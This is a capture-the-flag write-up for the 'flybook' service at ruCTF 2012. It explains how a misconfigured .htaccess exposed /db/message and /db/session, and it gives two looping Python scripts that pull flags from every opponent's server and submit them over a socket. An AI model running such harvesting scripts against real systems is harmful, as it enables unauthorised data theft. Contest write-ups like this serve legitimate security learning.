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ruCTF 2012(flybook) writeup

Aus der Kategorie Hacking

Begin

The use of .htacces was not correctly configured and so one was able to access the files /db/message , /db/session and /db/? ,/db/message has a flag which is base64 encoded and can be easily decoded

Code


#!/usr/bin/env python
# -*- coding: latin-1 -*-
import base64
import socket
import time
import urllib

from thread import start_new_thread


def johannessub(flag):
  hostname = "192.168.*.*"
  port = 1337
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((hostname, port))
  s.sendall(flag + "\n")
  s.shutdown(socket.SHUT_WR)
  s.close()


def extraktflag(ip):
  submittedflags = []
  try:
    fweb = urllib.urlopen("http://" + ip[:-1] + "/db/message").read()
  except:
    return

  for i in fweb.split("\n"):
    index_begin = i.find("!!44!")
    if index_begin != -1:
      index_begin += len("!!44!")

      flag = i[index_begin : index_begin + 44]
      flag = base64.b64decode(flag)

      breaker = False
      for j in submittedflags:
        if j == flag:
          breaker = True
          break
      if breaker:
        continue
      johannessub(flag)


while True:
  f = open("group_ips.txt", "r")
  while True:
    line = f.readline()
    if line == "\n":
      continue
    if not line:
      break
    start_new_thread(extraktflag, (line,))

  time.sleep(60)

and submitted to the local flag submit service. Nearly the same can be done for the sessions with the following script >>

Code


#!/usr/bin/env python
# -*- coding: latin-1 -*-
import socket
import time
import urllib

from thread import start_new_thread


def johannessub(flag):
  hostname = "192.168.*.*"
  port = 1337
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((hostname, port))
  s.sendall(flag + "\n")
  s.shutdown(socket.SHUT_WR)
  s.close()


def extraktflag(ip):
  submittedflags = []
  try:
    fweb = urllib.urlopen("http://" + ip[:-1] + "/db/session").read()
  except:
    return

  for i in fweb.split("\n"):
    if i[29:31] == "32":
      flag = i[32:64]
      breaker = False
      for j in submittedflags:
        if j == flag:
          breaker = True
          break
      if breaker:
        continue
      johannessub(flag)


while True:
  f = open("group_ips.txt", "r")
  while True:
    line = f.readline()
    if line == "\n":
      continue
    if not line:
      break
    start_new_thread(extraktflag, (line,))

  time.sleep(60)

Final Score: 1086

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